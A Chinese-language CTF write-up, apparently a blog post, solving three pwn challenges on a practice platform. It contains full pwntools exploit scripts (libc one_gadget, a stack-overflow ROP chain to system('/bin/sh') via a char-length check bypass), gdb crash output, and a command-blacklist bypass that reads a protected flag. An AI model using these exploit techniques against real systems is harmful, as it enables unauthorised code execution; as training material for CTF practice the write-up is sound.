本人实在是太菜,只看了几道pwn题,在此分享一下思路。
简单的one_gadget,利用one_gadget工具和目标服务器的libc文件。
@ubuntu:~/Desktop$ one_gadget libc-2.29.so
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL
0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
4个地址,从上试到下,最后一个可以获得shell,exp如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')
local = 0
if local == 1:
r=process('./ogg')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
gdb.attach(r)
else:
r=remote('node3.buuoj.cn',28371)
libc = ELF('libc-2.29.so')
elf = ELF('./ogg')
r.recvuntil('u:0x')
printf = int('0x'+r.recv(12),16)
base = printf - libc.symbols['printf']
print hex(base)
one_gadget = base + 0x106ef8
r.sendline(str(one_gadget))
r.interactive()
简单的栈溢出。
ida查看主函数。
read(0, &buf, 0x400u);
存在明显的栈溢出漏洞。
namecheck函数。
如果输入字符小于3或大于8,则退出,但是长度为char类型,大于256会溢出。所以长度为260,系统会判定为(260-256)个字符,通过判定。
程序会在第17位溢出
[----------------------------------registers-----------------------------------]
EAX: 0xffdf8f37 ("aaaabaaacaaadaa"...)
EBX: 0x0
ECX: 0xffdf9060 ("oaac\n")
EDX: 0xffdf9037 ("oaac\n")
ESI: 0xf7ee7000 --> 0x1b1db0
EDI: 0xf7ee7000 --> 0x1b1db0
EBP: 0x66616161 ('aaaf')
ESP: 0xffdf8f50 ("aaahaaaiaaajaaa"...)
EIP: 0x67616161 ('aaag')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x67616161
[------------------------------------stack-------------------------------------]
0000| 0xffdf8f50 ("aaahaaaiaaajaaa"...)
0004| 0xffdf8f54 ("aaaiaaajaaakaaa"...)
0008| 0xffdf8f58 ("aaajaaakaaalaaa"...)
0012| 0xffdf8f5c ("aaakaaalaaamaaa"...)
0016| 0xffdf8f60 ("aaalaaamaaanaaa"...)
0020| 0xffdf8f64 ("aaamaaanaaaoaaa"...)
0024| 0xffdf8f68 ("aaanaaaoaaapaaa"...)
0028| 0xffdf8f6c ("aaaoaaapaaaqaaa"...)
[------------------------------------------------------------------------------]
gdb-peda$ cyclic -l aaaf
17
题目提供了system函数
题目提供了/bin/sh字符串
exp如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local == 1:
r=process('./r2t3')
#gdb.attach(r,'b * 0x80483d5')
else:
r=remote('node3.buuoj.cn',28220)
elf = ELF('./r2t3')
main = p32(elf.symbols['main'])
puts = p32(elf.symbols['puts'])
system = p32(elf.symbols['system'])
binsh = p32(0x8048760)
libc_start_main_got = p32(elf.got['__libc_start_main'])
pr = p32(0x080483d5)
rop1 = 'a'*17+p32(0xdeadbeef)+system+pr+binsh+main
r.sendline(rop1+cyclic(260-len(rop1)))
r.interactive()
本题是ssh类型的pwn,提供的用户无权限查看flag内容。
题目描述
Ubuntu 14.04
Use ssh to connect. Username: ctf Password: test
通过ssh命令连接目标靶机。
ssh -p 29787 ctf@node3.buuoj.cn
输入密码后进入目标机ssh状态。
输入ls获取当前目录。
ctf@b1b612d2cccf:~$ ls
flag test test.c
cat test.c获取源代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
char cmd[0x100] = {0};
puts("Welcome to Pwn-Game by TaQini.");
puts("Your ID:");
system("id");
printf("$ ");
gets(cmd);
if( strstr(cmd, "n")
||strstr(cmd, "e")
||strstr(cmd, "p")
||strstr(cmd, "b")
||strstr(cmd, "u")
||strstr(cmd, "s")
||strstr(cmd, "h")
||strstr(cmd, "i")
||strstr(cmd, "f")
||strstr(cmd, "l")
||strstr(cmd, "a")
||strstr(cmd, "g")
||strstr(cmd, "|")
||strstr(cmd, "/")
||strstr(cmd, "$")
||strstr(cmd, "`")
||strstr(cmd, "-")
||strstr(cmd, "<")
||strstr(cmd, ">")
||strstr(cmd, ".")){
exit(0);
}else{
system(cmd);
}
return 0;
}
分析代码得知,该程序可以执行一次shell,不过有黑名单限制,当输入以下字符时,退出。
nepbushiflag|/$`-<>.
先看看这个容器可以执行什么命令。
ctf@b1b612d2cccf:~$ ls /bin
bash egrep mountpoint ss
bunzip2 false mt stty
bzcat fgconsole mt-gnu su
bzcmp fgrep mv sync
bzdiff findmnt nc tailf
bzegrep grep nc.openbsd tar
bzexe gunzip netcat tempfile
bzfgrep gzexe netstat touch
bzgrep gzip nisdomainname true
bzip2 hostname open udevadm
bzip2recover ip openvt umount
bzless kbd_mode pidof uname
bzmore kill ping uncompress
cat kmod ping6 unicode_start
chgrp less plymouth vdir
chmod lessecho plymouth-upstart-bridge which
chown lessfile ps whiptail
chvt lesskey pwd ypdomainname
cp lesspipe rbash zcat
cpio ln readlink zcmp
dash loadkeys rm zdiff
date login rmdir zegrep
dd ls run-parts zfgrep
df lsblk running-in-container zforce
dir lsmod sed zgrep
dmesg mkdir setfont zless
dnsdomainname mknod setupcon zmore
domainname mktemp sh znew
dumpkeys more sh.distrib
echo mount sleep
ctf@b1b612d2cccf:~$ ls /usr/bin
2to3 join rcp
2to3-2.7 json_pp rename
2to3-3.4 kbdinfo rename.ul
[ last renice
a2p lastb reset
addpart lastlog resizecons
apt lcf resizepart
apt-cache ldd rev
apt-cdrom less rgrep
apt-config lessecho rlogin
apt-extracttemplates lessfile routef
apt-ftparchive lesskey routel
apt-get lesspipe rsh
apt-key libnetcfg rtstat
apt-mark line run-mailcap
apt-sortpkgs link runcon
arch linux32 rview
awk linux64 s2p
base64 lnstat savelog
basename loadkeys scp
bashbug loadunimap screendump
c2ph locale script
c_rehash localedef scriptreplay
captoinfo lockfile-check sdiff
catchsegv lockfile-create see
cautious-launcher lockfile-remove select-editor
chage lockfile-touch sensible-browser
chardet logger sensible-editor
chattr logname sensible-pager
chcon lsattr seq
chfn lsb_release service
chkdupexe lscpu setarch
chrt lsinitramfs setkeycodes
chsh lspgpot setleds
ckbcomp mail-lock setlogcons
cksum mail-touchlock setmetamode
clear mail-unlock setsid
clear_console mapscrn setterm
cmp mawk sftp
codepage mcookie sg
comm md5sum sha1sum
compose md5sum.textutils sha224sum
config_data mesg sha256sum
corelist mk_modmap sha384sum
cpan mkfifo sha512sum
cpan2dist namei shasum
cpanp nawk showconsolefont
cpanp-run-perl ncurses5-config showkey
crontab ncursesw5-config shred
csplit newgrp shuf
ctstat nice skill
cut nl slabtop
ddate nohup slogin
deallocvt nproc snice
deb-systemd-helper nstat sort
deb-systemd-invoke numfmt splain
debconf od split
debconf-apt-progress oldfind splitfont
debconf-communicate omshell ssh
debconf-copydb openssl ssh-add
debconf-escape pager ssh-agent
debconf-set-selections partx ssh-argv0
debconf-show passwd ssh-copy-id
delpart paste ssh-import-id
dh_pypy pathchk ssh-import-id-gh
dh_python2 pdb ssh-import-id-lp
dh_python3 pdb2.7 ssh-keygen
diff pdb3 ssh-keyscan
diff3 pdb3.4 stat
dircolors perl stdbuf
dirname perl5.18.2 sudo
dotlockfile perlbug sudoedit
dpkg perldoc sudoreplay
dpkg-deb perlivp sum
dpkg-divert perlthanks tabs
dpkg-maintscript-helper pg tac
dpkg-query pgrep tail
dpkg-split piconv taskset
dpkg-statoverride pinky tee
dpkg-trigger pkill test
du pl2pm tic
dumpkeys pldd timeout
edit pmap tload
editor pod2html toe
eject pod2latex top
enc2xs pod2latex.bundled touch
env pod2man tput
ex pod2text tr
expand pod2usage truncate
expiry podchecker tset
expr podselect tsort
factor pr tty
faillog prename tzselect
fallocate print ua
file printenv ubuntu-advantage
find printf ucf
find2perl prove ucfq
flock psed ucfr
fmt psfaddtable unexpand
fold psfgettable unicode_stop
free psfstriptable uniq
getconf psfxtable unlink
getent pstruct unshare
getkeycodes ptar update-alternatives
getopt ptardiff uptime
gpasswd ptargrep users
gpg ptx vi
gpg-zip pwdx view
gpgsplit py3clean vim.tiny
gpgv py3compile vmstat
groups py3versions volname
h2ph pybuild w
h2xs pyclean w.procps
head pycompile wall
helpztags pydoc watch
hostid pydoc2.7 wc
i386 pydoc3 wget
iconv pydoc3.4 whereis
id pygettext which
infocmp pygettext2.7 who
infotocap pygettext3 whoami
init-checkconf pygettext3.4 x86_64
initctl2dot python xargs
install python2 xauth
instmodsh python2.7 xsubpp
ionice python3 xxd
ipcmk python3.4 yes
ipcrm python3.4m zdump
ipcs python3m zipdetails
ischroot pyversions
经过筛选后,只有以下命令幸免于难。(卧槽,无情)
mt,mv,kmod,rm,dd,2to3,2to3-2.7,2to3-3.4,[,comm,od,tr,tty,w,wc,x86_64,xxd
再排除掉不能用于文件的命令,剩下。
od,xxd
由于xxd不指定文件不能正常工作(flag四个字母全在黑名单内),也排除掉,剩下。(卧槽,好残忍)
od
先看一下od的用法
ctf@b1b612d2cccf:~$ od --help
Usage: od [OPTION]... [FILE]...
or: od [-abcdfilosx]... [FILE] [[+]OFFSET[.][b]]
or: od --traditional [OPTION]... [FILE] [[+]OFFSET[.][b] [+][LABEL][.][b]]
Write an unambiguous representation, octal bytes by default,
of FILE to standard output. With more than one FILE argument,
concatenate them in the listed order to form the input.
With no FILE, or when FILE is -, read standard input.
If first and second call formats both apply, the second format is assumed
if the last operand begins with + or (if there are 2 operands) a digit.
An OFFSET operand means -j OFFSET. LABEL is the pseudo-address
at first byte printed, incremented when dump is progressing.
For OFFSET and LABEL, a 0x or 0X prefix indicates hexadecimal;
suffixes may be . for octal and b for multiply by 512.
Mandatory arguments to long options are mandatory for short options too.
-A, --address-radix=RADIX output format for file offsets. RADIX is one
of [doxn], for Decimal, Octal, Hex or None
-j, --skip-bytes=BYTES skip BYTES input bytes first
-N, --read-bytes=BYTES limit dump to BYTES input bytes
-S BYTES, --strings[=BYTES] output strings of at least BYTES graphic chars.
3 is implied when BYTES is not specified
-t, --format=TYPE select output format or formats
-v, --output-duplicates do not use * to mark line suppression
-w[BYTES], --width[=BYTES] output BYTES bytes per output line.
32 is implied when BYTES is not specified
--traditional accept arguments in third form above
--help display this help and exit
--version output version information and exit
Traditional format specifications may be intermixed; they accumulate:
-a same as -t a, select named characters, ignoring high-order bit
-b same as -t o1, select octal bytes
-c same as -t c, select ASCII characters or backslash escapes
-d same as -t u2, select unsigned decimal 2-byte units
-f same as -t fF, select floats
-i same as -t dI, select decimal ints
-l same as -t dL, select decimal longs
-o same as -t o2, select octal 2-byte units
-s same as -t d2, select decimal 2-byte units
-x same as -t x2, select hexadecimal 2-byte units
TYPE is made up of one or more of these specifications:
a named character, ignoring high-order bit
c ASCII character or backslash escape
d[SIZE] signed decimal, SIZE bytes per integer
f[SIZE] floating point, SIZE bytes per integer
o[SIZE] octal, SIZE bytes per integer
u[SIZE] unsigned decimal, SIZE bytes per integer
x[SIZE] hexadecimal, SIZE bytes per integer
SIZE is a number. For TYPE in [doux], SIZE may also be C for
sizeof(char), S for sizeof(short), I for sizeof(int) or L for
sizeof(long). If TYPE is f, SIZE may also be F for sizeof(float), D
for sizeof(double) or L for sizeof(long double).
Adding a z suffix to any type displays printable characters at the end of
each output line.
BYTES is hex with 0x or 0X prefix, and may have a multiplier suffix:
b 512
KB 1000
K 1024
MB 1000*1000
M 1024*1024
and so on for G, T, P, E, Z, Y.
Report od bugs to bug-coreutils@gnu.org
GNU coreutils home page: <http://www.gnu.org/software/coreutils/>
General help using GNU software: <http://www.gnu.org/gethelp/>
Report od translation bugs to <http://translationproject.org/team/>
For complete documentation, run: info coreutils 'od invocation'
说了这么多,由于-在黑名单内,我们不能加参数。不能指定flag文件
只能*试试
ctf@b1b612d2cccf:~$ od *
od: flag: Permission denied
0000000 042577 043114 000402 000001 000000 000000 000000 000000
0000020 000002 000076 000001 000000 003000 000100 000000 000000
0000040 000100 000000 000000 000000 015430 000000 000000 000000
0000060 000000 000000 000100 000070 000011 000100 000037 000034
0000100 000006 000000 000005 000000 000100 000000 000000 000000
…………………………
发现可以对flag进行读取操作,只是无权限,通过给定程序操作。
ctf@a305c4d1b006:~$ ./test
Welcome to Pwn-Game by TaQini.
Your ID:
uid=1000(ctf) gid=1000(ctf) egid=1001(ctf_pwn) groups=1000(ctf)
$ od *
0000000 066146 063541 034173 033463 031467 062463 026542 032467
0000020 061142 032055 031467 026470 061541 030471 030455 032144
0000040 063142 062145 061541 031146 076460 077412 046105 001106
0000060 000401 000000 000000 000000 000000 001000 037000 000400
0000100 000000 000000 040006 000000 000000 040000 000000 000000
…………………………
并没有报出权限限制,flag被读取了。
通过脚本翻译。
from libnum import n2s
a=[0o0066146,0o063541,0o061173,0o062465,0o034070,0o030141,0o026470,0o034466,0o033145,0o032055,0o034065,0o026544,0o030542,0o063064,0o062455,0o034066,0o032542,0o031470,0o030462,0o031065,0o076470,0o077412,0o046105,0o001106,0o000401,0o000000,0o000000,0o000000,0o000000,0o001000,0o037000,0o000400]
for i in a:
print n2s(i)
结果
lf
ga
b{
e5
88
0a
-8
96
6e
4-
85
-d
1b
f4
e-
86
5b
38
12
25
}8
LE
F
>
有内味了,改良脚本。
from libnum import n2s
a=[0o0066146,0o063541,0o061173,0o062465,0o034070,0o030141,0o026470,0o034466,0o033145,0o032055,0o034065,0o026544,0o030542,0o063064,0o062455,0o034066,0o032542,0o031470,0o030462,0o031065,0o076470,0o077412,0o046105,0o001106,0o000401,0o000000,0o000000,0o000000,0o000000,0o001000,0o037000,0o000400]
flag = ""
for i in a:
flag += n2s(i)[::-1]
print flag
结果
flag{b5e88a08-69e6-458d-b14f-e68b58321528}
ELF>
后经观花师傅点解,发现更简单办法。
利用x86_64解,如下。
ctf@a305c4d1b006:~$ ./test
Welcome to Pwn-Game by TaQini.
Your ID:
uid=1000(ctf) gid=1000(ctf) egid=1001(ctf_pwn) groups=1000(ctf)
$ x86_64
$ ls
flag test test.c
$ cat flag
flag{b5e88a08-69e6-458d-b14f-e68b58321528}
info 评论功能已经关闭了呐!